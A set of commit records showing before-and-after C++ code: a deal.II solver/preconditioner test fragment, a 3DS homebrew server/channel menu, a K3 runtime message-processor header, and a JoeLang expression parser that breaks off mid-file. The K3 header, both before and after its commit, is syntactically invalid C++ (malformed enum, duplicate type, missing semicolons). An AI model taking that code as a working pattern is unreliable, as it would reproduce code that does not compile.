prec_ssor;\n      prec_ssor.initialize(A, 1.2);\n\n      std::vector<unsigned int> permutation(dim);\n      std::vector<unsigned int> inverse_permutation(dim);\n\n\t\t\t\t       \/\/ Create a permutation: Blocks\n\t\t\t\t       \/\/ backwards and every second\n\t\t\t\t       \/\/ block backwards\n      unsigned int k = 0;\n      for (unsigned int i=0;i<size-1;++i)\n\tfor (unsigned int j=0;j<size-1;++j)\n\t  {\n\t    if (i % 2)\n\t      permutation[k++] = (size-i-2) * (size-1) + j;\n\t    else\n\t      permutation[k++] = (size-i-2) * (size-1) + size-j-2;\n\t  }\n      \n\n      for (unsigned int i=0;i<dim;++i)\n\tinverse_permutation[permutation[i]] = i;\n\n      PreconditionPSOR<> prec_psor;\n      prec_psor.initialize(A, permutation, inverse_permutation, 1.2);\n      \n      Vector<double>  f(dim);\n      Vector<double>  u(dim);\n      Vector<double> res(dim);\n\n      f = 1.;\n      u = 1.;\n      \n      A.residual(res,u,f);\n      A.SOR(res);\n      res.add(1.,u);\n      A.SOR_step(u,f);\n      res.add(-1.,u);\n    \n      deallog << \"SOR-diff:\" << res*res << std::endl;\n\n      try\n\t{\n\t  deallog.push(\"no-fail\");\n\n\t  control.set_max_steps(10);\n\t  check_solve(cg,A,u,f,prec_no);\n\t  check_solve(bicgstab,A,u,f,prec_no);\n\t  check_solve(gmres,A,u,f,prec_no);\n\t  check_solve(gmresright,A,u,f,prec_no);\n\t  check_solve(qmrs,A,u,f,prec_no);\n\t  control.set_max_steps(100);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"no\");\n\t  \n\t  check_solve(cg,A,u,f,prec_no);\n\t  check_solve(bicgstab,A,u,f,prec_no);\n\t  check_solve(gmres,A,u,f,prec_no);\n\t  check_solve(gmresright,A,u,f,prec_no);\n\t  check_solve(qmrs,A,u,f,prec_no);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"ssor\");\n\t  \n\t  check_Tsolve(rich,A,u,f,prec_ssor);\n\t  check_solve(rich,A,u,f,prec_ssor);\n\t  check_solve(cg,A,u,f,prec_ssor);\n\t  check_solve(bicgstab,A,u,f,prec_ssor);\n\t  check_solve(gmres,A,u,f,prec_ssor);\n\t  check_solve(gmresright,A,u,f,prec_ssor);\n\t  check_solve(qmrs,A,u,f,prec_ssor);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"sor\");\n\t  \n\t  check_Tsolve(rich,A,u,f,prec_sor);\n\t  check_solve(rich,A,u,f,prec_sor);\n\t  check_solve(cg,A,u,f,prec_sor);\n\t  check_solve(bicgstab,A,u,f,prec_sor);\n\t  check_solve(gmres,A,u,f,prec_sor);\n\t  check_solve(gmresright,A,u,f,prec_sor);\n\t  \n\t  deallog.pop();\n\t  \n\t  deallog.push(\"psor\");\n\t  \n\t  check_Tsolve(rich,A,u,f,prec_psor);\n\t  check_solve(rich,A,u,f,prec_psor);\n\t  check_solve(cg,A,u,f,prec_psor);\n\t  check_solve(bicgstab,A,u,f,prec_psor);\n\t  check_solve(gmres,A,u,f,prec_psor);\n\t  check_solve(gmresright,A,u,f,prec_psor);\n\t  \n\t  deallog.pop();\n\t}\n      catch (std::exception& e)\n\t{\n\t  std::cerr << e.what() << std::endl;\n\t}\n    };\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <3ds.h>\r\n#include <stdio.h>\r\n#include <string>\r\n#include <unistd.h>\r\n\r\nusing namespace std;\r\n\r\n\/\/ Get length of an array\r\ntemplate <typename T,unsigned S>\r\ninline unsigned arraysize(const T (&v)[S]) { return S; }\r\n\r\nint main(void)\r\n{\r\n\tstring menu[] = {\"Server1\", \"Server2\", \"Server3\", \"Server4\", \"Server5\", \"Server6\", \"Server7\", \"Server8\", \"Server9\", \"Server10\", \"Server11\", \"Server12\", \"Server13\", \"Server14\", \"Server15\", \"Server16\", \"Server17\", \"Server18\", \"Server19\", \"Server20\"};\r\n\tunsigned int pointer = 0;\r\n\r\n\t\/\/ Initialize services\r\n\tgfxInitDefault();\r\n\tconsoleInit(GFX_TOP, NULL);  \/\/TODO: Change to Bottom\r\n\r\n\tprintf(\"Menu\\n\\n\");\r\n\tprintf((\"\\x1b[31m\" + menu[0] + \"\\x1b[0m\\n\").c_str());\n\r\n\tfor (unsigned int i=1; i< arraysize(menu); i++)\n\t\tprintf((menu[i] + \"\\n\").c_str());\n\r\n\twhile (aptMainLoop())\r\n\t{\n\t    printf(\"\\x1b[30;1H%i\", pointer);\r\n\t\t\/\/Scan all the inputs. This should be done once for each frame\r\n\t\thidScanInput();\r\n\r\n\t\t\/\/hidKeysDown returns information about which buttons have been just pressed (and they weren't in the previous frame)\r\n\t\tu32 kDown = hidKeysDown();\r\n\r\n\t\tif (kDown & KEY_START) break; \/\/ break in order to return to hbmenu\r\n\r\n\t\t\/\/Do the keys printing only if keys have changed\r\n\t\tif (kDown & KEY_DUP || kDown & KEY_DDOWN){\n\t\t\tif (kDown & KEY_DUP){\n\t\t\t\tpointer -= 1;\n\t\t\t\tif (pointer == (unsigned) -1){\n\t\t\t\t\tpointer = arraysize(menu) - 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (kDown & KEY_DDOWN){\n\t\t\t\tpointer += 1;\n\t\t\t\tif(pointer == arraysize(menu)){\n\t\t\t\t\tpointer = 0;\n\t\t\t\t}\n\t\t\t}\r\n\t\t\tconsoleClear();\r\n\t\t\tprintf(\"Menu\\n\\n\");\n\r\n\t\t\tfor (unsigned int i=0; i< arraysize(menu); ++i){\r\n\t\t\t\tif (i == pointer)\r\n\t\t\t\t\tprintf((\"\\x1b[31m\" + menu[i] + \"\\x1b[0m\\n\").c_str());\r\n\t\t\t\telse{\r\n\t\t\t\t\tprintf((menu[i] + \"\\n\").c_str());\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\r\n\t\t}\n\r\n\t\t\/\/ Flush and swap framebuffers\r\n\t\tgfxFlushBuffers();\r\n\t\tgfxSwapBuffers();\r\n\r\n\t\t\/\/Wait for VBlank\r\n\t\tgspWaitForVBlank();\r\n\t}\r\n\t\/\/ Exit services\r\n\tgfxExit();\r\n\treturn 0;\r\n}\n<commit_msg>add experimental channels system<commit_after>#include <3ds.h>\r\n#include <stdio.h>\r\n#include <string>\r\n#include <unistd.h>\r\n\r\nusing namespace std;\r\n\r\n\/\/ Get length of an array\r\ntemplate <typename T,unsigned S>\r\ninline unsigned arraysize(const T (&v)[S]) {\n    return S;\n}\n\r\nint main(void)\r\n{\r\n\tstring menu[] = {\"Server1\", \"Server2\", \"Server3\", \"Server4\", \"Server5\", \"Server6\", \"Server7\", \"Server8\", \"Server9\", \"Server10\", \"Server11\", \"Server12\", \"Server13\", \"Server14\", \"Server15\", \"Server16\", \"Server17\", \"Server18\", \"Server19\", \"Server20\"};\n\t\/\/Will be set by Discord API for each server in a Channel type array\n\tstring channels[] = {\"Channel 1\", \"Channel 2\", \"Channel 3\"};\r\n\tunsigned int pointer = 0;\n\tunsigned int pointerChan = 0;\r\n\r\n\t\/\/ Initialize services\r\n\tgfxInitDefault();\n\t\/\/We need one PrintConsole for each screen\n\tPrintConsole topScreen, bottomScreen;\n\t\/\/Initialize console for both screen\n\tconsoleInit(GFX_TOP, &topScreen);\r\n\tconsoleInit(GFX_BOTTOM, &bottomScreen);\r\n\n    \/\/Initialize servers menu on the bottom screen\n    consoleSelect(&bottomScreen);\n\tprintf(\"Menu\\n\\n\");\r\n\tprintf((\"\\x1b[31m\" + menu[0] + \"\\x1b[0m\\n\").c_str());\r\n\tfor (unsigned int i=1; i< arraysize(menu); i++)\n\t\tprintf((menu[i] + \"\\n\").c_str());\n\r\n\twhile (aptMainLoop())\r\n\t{\n\t    printf(\"\\x1b[30;1H%i\", pointer);\r\n\t\t\/\/Scan all the inputs. This should be done once for each frame\r\n\t\thidScanInput();\n\r\n\t\t\/\/hidKeysDown returns information about which buttons have been just pressed (and they weren't in the previous frame)\r\n\t\tu32 kDown = hidKeysDown();\r\n\r\n\t\tif (kDown & KEY_START) break; \/\/ break in order to return to hbmenu\r\n\r\n\t\t\/\/Do the keys printing only if keys have changed\r\n\t\tif (kDown & KEY_DUP || kDown & KEY_DDOWN || kDown & KEY_A){\n\t\t\tif (kDown & KEY_DUP){\n\t\t\t\tpointer -= 1;\n\t\t\t\tif (pointer == (unsigned) -1)\n\t\t\t\t\tpointer = arraysize(menu) - 1;\n\t\t\t}\n\t\t\telse if (kDown & KEY_DDOWN){\n\t\t\t\tpointer += 1;\n\t\t\t\tif(pointer == arraysize(menu))\n\t\t\t\t\tpointer = 0;\n\t\t\t}\n\t\t\telse if (kDown & KEY_A){\n                    consoleClear();\n                    printf((menu[pointer] + \"\\n\\n\").c_str());\n                    printf((\"\\x1b[31m\" + channels[0] + \"\\x1b[0m\\n\").c_str());\n                    for (unsigned int i=1; i< arraysize(channels); i++){\n                        printf((channels[i] + \"\\n\").c_str());\n                    }\n\n                while (true){\n                    hidScanInput();\n                    kDown = hidKeysDown();\n                    if (kDown & KEY_B) break;\n\n                    if (kDown & KEY_DUP || kDown & KEY_DDOWN){\n                        if (kDown & KEY_DUP){\n                            pointerChan -= 1;\n                            if (pointerChan == (unsigned) -1)\n                                pointerChan = arraysize(channels) - 1;\n                        }\n                        else if (kDown & KEY_DDOWN){\n                            pointerChan += 1;\n                            if(pointerChan == arraysize(channels))\n                                pointerChan = 0;\n                        }\n\n                        consoleClear();\n                        printf((menu[pointer] + \"\\n\\n\").c_str());\n                        for (unsigned int i=0; i< arraysize(channels); ++i){\n                            if (i == pointerChan)\n                                printf((\"\\x1b[31m\" + channels[i] + \"\\x1b[0m\\n\").c_str());\n                            else\n                                printf((channels[i] + \"\\n\").c_str());\n                        }\n                    }\n                }\n\t\t\t}\n\r\n\t\t\tconsoleClear();\r\n\t\t\tprintf(\"Menu\\n\\n\");\n\r\n\t\t\tfor (unsigned int i=0; i< arraysize(menu); ++i){\r\n\t\t\t\tif (i == pointer)\r\n\t\t\t\t\tprintf((\"\\x1b[31m\" + menu[i] + \"\\x1b[0m\\n\").c_str());\r\n\t\t\t\telse\r\n\t\t\t\t\tprintf((menu[i] + \"\\n\").c_str());\r\n\t\t\t}\r\n\t\t}\n\r\n\t\t\/\/ Flush and swap framebuffers\r\n\t\tgfxFlushBuffers();\r\n\t\tgfxSwapBuffers();\r\n\r\n\t\t\/\/Wait for VBlank\r\n\t\tgspWaitForVBlank();\r\n\t}\r\n\t\/\/ Exit services\r\n\tgfxExit();\r\n\treturn 0;\r\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef K3_RUNTIME_MESSAGEPROC_H\n#define K3_RUNTIME_MESSAGEPROC_H\n\n#include <k3\/runtime\/Dispatch.hpp>\n\nnamespace K3\n{\n  \/\/-------------------\n  \/\/ Message processor\n\n  enum class MPStatus = { Continue, Error, Done };\n\n  template<typename Value>\n  class MessageProcessor {\n    public:\n    MPStatus process(Message<Value> msg) {}\n  };\n\n  \/\/ Message Processor used by generated code. Processing is done by dispatch messages using a\n  \/\/ generated table of triggers. The trigger wrapper functions perform the deserialization of the\n  \/\/ message payload themeselves.\n  template <typename Value>\n  class DispatchMessageProcessor : public MessageProcessor {\n  public:\n    DispatchMessageProcessor(TriggerDispatch td): table(td) {}\n\n    MPStatus process(Message<Value> msg) {\n\n        TriggerWrapper tw;\n\n        \/\/ Look the trigger up in the dispatch table, error out if not present.\n        try {\n            tw = table.at(msg.id());\n        } catch (std::out_of_range e) {\n            return LoopStatus::Error;\n        }\n\n        \/\/ Call the trigger.\n        tw(msg.contents());\n\n        \/\/ Message was processed, signal the engine to continue.\n        \/\/ TODO: Propagate trigger errors to engine, K3 error semantics?\n        return LoopStatus::Continue;\n    }\n  private:\n    TriggerDispatch table;\n  }\n}\n\n#endif\n<commit_msg>Revise MessageProcessor architecture to prior model.<commit_after>#ifndef K3_RUNTIME_MESSAGEPROC_H\n#define K3_RUNTIME_MESSAGEPROC_H\n\n#include <k3\/runtime\/Dispatch.hpp>\n\nnamespace K3\n{\n  \/\/-------------------\n  \/\/ Message processor\n\n  enum class MPStatus = { Continue, Error, Done };\n\n  template <typename Error, typename Result>\n  class MPStatus {\n      public:\n          MPStatus tag;\n          Error error;\n          Result result;\n  }\n\n  template<typename Environment, typename Value>\n  class MessageProcessor {\n  public:\n    MessageProcessor(Environment e): env(e), _status(MPStatus::Continue) {}\n    virtual void initialize() {}\n    virtual void finalize() {}\n    virtual void MPStatus process(Message<Value> msg) = 0;\n    MPStatus status() { return _status };\n\n    Environment env;\n    MPStatus _status;\n\n  };\n\n  \/\/ Message Processor used by generated code. Processing is done by dispatch messages using a\n  \/\/ generated table of triggers. The trigger wrapper functions perform the deserialization of the\n  \/\/ message payload themeselves.\n  template <typename Value>\n  class DispatchMessageProcessor : public MessageProcessor {\n  public:\n    DispatchMessageProcessor(TriggerDispatch td): table(td) {}\n\n    MPStatus process(Message<Value> msg) {\n\n        TriggerWrapper tw;\n\n        \/\/ Look the trigger up in the dispatch table, error out if not present.\n        try {\n            tw = table.at(msg.id());\n        } catch (std::out_of_range e) {\n            return LoopStatus::Error;\n        }\n\n        \/\/ Call the trigger.\n        tw(msg.contents());\n\n        \/\/ Message was processed, signal the engine to continue.\n        \/\/ TODO: Propagate trigger errors to engine, K3 error semantics?\n        return LoopStatus::Continue;\n    }\n  private:\n    TriggerDispatch table;\n  }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright 2011 Joe Hermaszewski. All rights reserved.\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n    conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n    of conditions and the following disclaimer in the documentation and\/or other materials\n    provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY JOE HERMASZEWSKI \"AS IS\" AND ANY EXPRESS OR IMPLIED\n    WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n    FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JOE HERMASZEWSKI OR\n    CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n    CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n    ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n    NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n    ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n    The views and conclusions contained in the software and documentation are those of the\n    authors and should not be interpreted as representing official policies, either expressed\n    or implied, of Joe Hermaszewski.\n*\/\n\n#include \"expression.hpp\"\n\n#include <iostream>\n#include <memory>\n#include <string>\n#include <utility>\n\n#include <parser\/parser.hpp>\n#include <parser\/terminal_types.hpp>\n\nnamespace JoeLang\n{\nnamespace Parser\n{\n\n\/\/------------------------------------------------------------------------------\n\/\/ Expression\n\/\/------------------------------------------------------------------------------\n\nExpression::Expression()\n{\n}\n\nExpression::~Expression()\n{\n}\n\nbool Expression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    return AssignmentExpression::Parse( parser, token );\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Assignment Expression\n\/\/------------------------------------------------------------------------------\n\nAssignmentExpression::AssignmentExpression( std::unique_ptr<Expression> unary_expression,\n                                            std::unique_ptr<AssignmentOperator> assignment_operator,\n                                            std::unique_ptr<Expression> assignment_expression )\n    :m_unaryExpression( std::move( unary_expression ) )\n    ,m_assignmentOperator( std::move( assignment_operator ) )\n    ,m_assignmentExpression( std::move( assignment_expression ) )\n{\n}\n\nAssignmentExpression::~AssignmentExpression()\n{\n}\n\nvoid AssignmentExpression::Print(int depth) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Assignment Expression\\n\";\n\n    m_unaryExpression->Print( depth + 1 );\n    m_assignmentOperator->Print( depth + 1 );\n    m_assignmentExpression->Print( depth + 1 );\n}\n\nbool AssignmentExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    if( Expect< ConditionalExpression >( parser, token ) )\n        return true;\n\n    std::unique_ptr<Expression> unary_expression;\n    if( !Expect< UnaryExpression >( parser, unary_expression ) )\n        return false;\n\n    std::unique_ptr<AssignmentOperator> assignment_operator;\n    if( !Expect< AssignmentOperator >( parser, assignment_operator ) )\n        return false;\n\n    std::unique_ptr<Expression> assignment_expression;\n    if( !Expect< AssignmentExpression >( parser, assignment_expression ) )\n        return false;\n\n    token.reset( new AssignmentExpression( std::move( unary_expression ),\n                                           std::move( assignment_operator ),\n                                           std::move( assignment_expression ) ) );\n    return true;\n}\n\nAssignmentOperator::AssignmentOperator( Lexer::TerminalType terminal_type )\n    :m_terminalType( terminal_type )\n{\n}\n\nAssignmentOperator::~AssignmentOperator()\n{\n}\n\nvoid AssignmentOperator::Print(int depth) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Assignment Operator\\n\";\n}\n\n\/\/TODO\nbool AssignmentOperator::Parse( Parser& parser, std::unique_ptr<AssignmentOperator>& token )\n{\n    if( !parser.ExpectTerminal( Lexer::EQUALS ) )\n        return false;\n\n    token.reset( new AssignmentOperator( Lexer::EQUALS ) );\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Conditional Expression\n\/\/------------------------------------------------------------------------------\n\nConditionalExpression::ConditionalExpression( std::unique_ptr<Expression> condition,\n                                              std::unique_ptr<Expression> true_expression,\n                                              std::unique_ptr<Expression> false_expression )\n    :m_condition( std::move( condition ) )\n    ,m_trueExpression( std::move( true_expression ) )\n    ,m_falseExpression( std::move( false_expression ) )\n{\n}\n\nConditionalExpression::~ConditionalExpression()\n{\n}\n\nvoid ConditionalExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Conditional Expression\\n\";\n\n    m_condition->Print( depth + 1 );\n    m_trueExpression->Print( depth + 1 );\n    m_falseExpression->Print( depth + 1 );\n}\n\nbool ConditionalExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    std::unique_ptr<Expression> condition;\n    if( !Expect< LogicalOrExpression >( parser, condition ) )\n        return false;\n\n    if( !parser.ExpectTerminal( Lexer::QUERY ) )\n    {\n        token = std::move( condition );\n        return true;\n    }\n\n    std::unique_ptr<Expression> true_expression;\n    if( !Expect<Expression>( parser, true_expression ) )\n        return false;\n\n    if( !parser.ExpectTerminal( Lexer::COLON ) )\n        return false;\n\n    std::unique_ptr<Expression> false_expression;\n    if( !Expect<ConditionalExpression>( parser, false_expression ) )\n        return false;\n\n    token.reset( new ConditionalExpression( std::move( condition ),\n                                            std::move( true_expression ),\n                                            std::move( false_expression ) ) );\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ BinaryOperatorExpression\n\/\/------------------------------------------------------------------------------\n\nBinaryOperatorExpression::BinaryOperatorExpression( Lexer::TerminalType operator_terminal,\n                                                    std::unique_ptr<Expression> left_side,\n                                                    std::unique_ptr<Expression> right_side )\n    :m_operatorTerminal( operator_terminal )\n    ,m_leftSide( std::move( left_side ) )\n    ,m_rightSide( std::move( right_side ) )\n{\n}\n\nBinaryOperatorExpression::~BinaryOperatorExpression()\n{\n}\n\nvoid BinaryOperatorExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Binary Operator Expression\\n\";\n    m_leftSide->Print( depth + 1 );\n    m_rightSide->Print( depth + 1 );\n}\ntemplate< typename ExpressionType, typename SubExpressionType >\nbool BinaryOperatorExpression::ParseLeftAssociative( Parser& parser, std::unique_ptr<Expression>& token,\n                                  const std::vector<Lexer::TerminalType>& operator_terminals )\n{\n    std::unique_ptr<Expression> left;\n    if( !Expect<SubExpressionType>( parser, left ) )\n        return false;\n\n    std::vector< std::pair< Lexer::TerminalType,\n                            std::unique_ptr<Expression> > > rest;\n\n    while( true )\n    {\n        bool cont = false;\n        Lexer::TerminalType operator_terminal;\n        for( Lexer::TerminalType o : operator_terminals )\n        {\n            if( parser.ExpectTerminal( o ) )\n            {\n                operator_terminal = o;\n                cont = true;\n                break;\n            }\n        }\n\n        if( !cont )\n            break;\n\n        std::unique_ptr<Expression> next;\n        if( !Expect<SubExpressionType>( parser, next ) )\n            return false;\n\n        rest.push_back( std::make_pair( operator_terminal,\n                                        std::move( next ) ) );\n    }\n\n    for( auto& expression : rest )\n        left.reset( new ExpressionType( expression.first,\n                                        std::move( left ),\n                                        std::move( expression.second ) ) );\n\n    token = std::move( left );\n    return true;\n}\n\n\/\/template< typename ExpressionType, typename SubExpressionType >\n\/\/static bool ParseRightAssociative( Parser& parser, std::unique_ptr<Expression>& token,\n                                   \/\/const std::vector<Lexer::TerminalType>& operator_terminals );\n\n\/\/------------------------------------------------------------------------------\n\/\/ Logical Or Expression\n\/\/------------------------------------------------------------------------------\n\nLogicalOrExpression::LogicalOrExpression( Lexer::TerminalType operator_terminal,\n                                          std::unique_ptr<Expression> left_side,\n                                          std::unique_ptr<Expression> right_side )\n    :BinaryOperatorExpression( operator_terminal,\n                               std::move( left_side ),\n                               std::move( right_side ) )\n{\n}\n\nLogicalOrExpression::~LogicalOrExpression()\n{\n}\n\nbool LogicalOrExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    std::vector<Lexer::TerminalType> operators;\n    operators.push_back( Lexer::LOGICAL_OR );\n\n    return ParseLeftAssociative<LogicalOrExpression, LogicalAndExpression>( parser, token, operators );\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ LogicalAndExpression\n\/\/------------------------------------------------------------------------------\n\nLogicalAndExpression::LogicalAndExpression( Lexer::TerminalType operator_terminal,\n                                          std::unique_ptr<Expression> left_side,\n                                          std::unique_ptr<Expression> right_side )\n    :BinaryOperatorExpression( operator_terminal,\n                               std::move( left_side ),\n                               std::move( right_side ) )\n{\n}\n\nLogicalAndExpression::~LogicalAndExpression()\n{\n}\n\nbool LogicalAndExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    std::vector<Lexer::TerminalType> operators;\n    operators.push_back( Lexer::LOGICAL_AND );\n\n    \/\/TODO\n    return ParseLeftAssociative<LogicalAndExpression, PrimaryExpression>( parser, token, operators );\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Unary Expression\n\/\/------------------------------------------------------------------------------\n\nUnaryExpression::UnaryExpression()\n{\n}\n\nUnaryExpression::~UnaryExpression()\n{\n}\n\nvoid UnaryExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Unary Expression\\n\";\n}\n\n\/\/TODO\nbool UnaryExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    return Expect<PrimaryExpression>( parser, token );\n   \/*\n    if( !parser.ExpectTerminal( Lexer::IDENTIFIER ) )\n        return false;\n\n    token.reset( new UnaryExpression() );\n    return true;\n    *\/\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Primary Expression\n\/\/------------------------------------------------------------------------------\n\nPrimaryExpression::PrimaryExpression( std::string identifier )\n    :m_identifier( std::move( identifier ) )\n{\n}\n\nPrimaryExpression::~PrimaryExpression()\n{\n}\n\nvoid PrimaryExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << m_identifier << \"\\n\";\n}\n\n\/\/TODO\nbool PrimaryExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    std::string identifier;\n    if( !parser.ExpectTerminal( Lexer::IDENTIFIER, identifier ) )\n        return false;\n\n    token.reset( new PrimaryExpression( identifier ) );\n    return true;\n}\n\n} \/\/ namespace Parser\n} \/\/ namespace JoeLang\n<commit_msg>[+] Made operator vectors static<commit_after>\/*\n    Copyright 2011 Joe Hermaszewski. All rights reserved.\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n    conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n    of conditions and the following disclaimer in the documentation and\/or other materials\n    provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY JOE HERMASZEWSKI \"AS IS\" AND ANY EXPRESS OR IMPLIED\n    WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n    FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JOE HERMASZEWSKI OR\n    CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n    CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n    ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n    NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n    ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n    The views and conclusions contained in the software and documentation are those of the\n    authors and should not be interpreted as representing official policies, either expressed\n    or implied, of Joe Hermaszewski.\n*\/\n\n#include \"expression.hpp\"\n\n#include <iostream>\n#include <memory>\n#include <string>\n#include <utility>\n\n#include <parser\/parser.hpp>\n#include <parser\/terminal_types.hpp>\n\nnamespace JoeLang\n{\nnamespace Parser\n{\n\n\/\/------------------------------------------------------------------------------\n\/\/ Expression\n\/\/------------------------------------------------------------------------------\n\nExpression::Expression()\n{\n}\n\nExpression::~Expression()\n{\n}\n\nbool Expression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    return AssignmentExpression::Parse( parser, token );\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Assignment Expression\n\/\/------------------------------------------------------------------------------\n\nAssignmentExpression::AssignmentExpression( std::unique_ptr<Expression> unary_expression,\n                                            std::unique_ptr<AssignmentOperator> assignment_operator,\n                                            std::unique_ptr<Expression> assignment_expression )\n    :m_unaryExpression( std::move( unary_expression ) )\n    ,m_assignmentOperator( std::move( assignment_operator ) )\n    ,m_assignmentExpression( std::move( assignment_expression ) )\n{\n}\n\nAssignmentExpression::~AssignmentExpression()\n{\n}\n\nvoid AssignmentExpression::Print(int depth) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Assignment Expression\\n\";\n\n    m_unaryExpression->Print( depth + 1 );\n    m_assignmentOperator->Print( depth + 1 );\n    m_assignmentExpression->Print( depth + 1 );\n}\n\nbool AssignmentExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    if( Expect< ConditionalExpression >( parser, token ) )\n        return true;\n\n    std::unique_ptr<Expression> unary_expression;\n    if( !Expect< UnaryExpression >( parser, unary_expression ) )\n        return false;\n\n    std::unique_ptr<AssignmentOperator> assignment_operator;\n    if( !Expect< AssignmentOperator >( parser, assignment_operator ) )\n        return false;\n\n    std::unique_ptr<Expression> assignment_expression;\n    if( !Expect< AssignmentExpression >( parser, assignment_expression ) )\n        return false;\n\n    token.reset( new AssignmentExpression( std::move( unary_expression ),\n                                           std::move( assignment_operator ),\n                                           std::move( assignment_expression ) ) );\n    return true;\n}\n\nAssignmentOperator::AssignmentOperator( Lexer::TerminalType terminal_type )\n    :m_terminalType( terminal_type )\n{\n}\n\nAssignmentOperator::~AssignmentOperator()\n{\n}\n\nvoid AssignmentOperator::Print(int depth) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Assignment Operator\\n\";\n}\n\n\/\/TODO\nbool AssignmentOperator::Parse( Parser& parser, std::unique_ptr<AssignmentOperator>& token )\n{\n    if( !parser.ExpectTerminal( Lexer::EQUALS ) )\n        return false;\n\n    token.reset( new AssignmentOperator( Lexer::EQUALS ) );\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Conditional Expression\n\/\/------------------------------------------------------------------------------\n\nConditionalExpression::ConditionalExpression( std::unique_ptr<Expression> condition,\n                                              std::unique_ptr<Expression> true_expression,\n                                              std::unique_ptr<Expression> false_expression )\n    :m_condition( std::move( condition ) )\n    ,m_trueExpression( std::move( true_expression ) )\n    ,m_falseExpression( std::move( false_expression ) )\n{\n}\n\nConditionalExpression::~ConditionalExpression()\n{\n}\n\nvoid ConditionalExpression::Print( int depth ) const\n{\n    for( int i = 0; i < depth * 4; ++i )\n        std::cout << \" \";\n    std::cout << \"Conditional Expression\\n\";\n\n    m_condition->Print( depth + 1 );\n    m_trueExpression->Print( depth + 1 );\n    m_falseExpression->Print( depth + 1 );\n}\n\nbool ConditionalExpression::Parse( Parser& parser, std::unique_ptr<Expression>& token )\n{\n    std::unique_ptr<Expression> condition;\n    if( !Expect< LogicalOrExpression >( parser, condition ) )\n        return false;\n\n    if( !parser.ExpectTerminal( Lexer::QUERY ) )\n    {\n        token = std::move( condition );\n        return true;\n    }\n\n    std::unique_ptr<Expression> true_expression;\n    if( !Expect<Expression>( parser, true_expression ) )\n        return false;\n\n    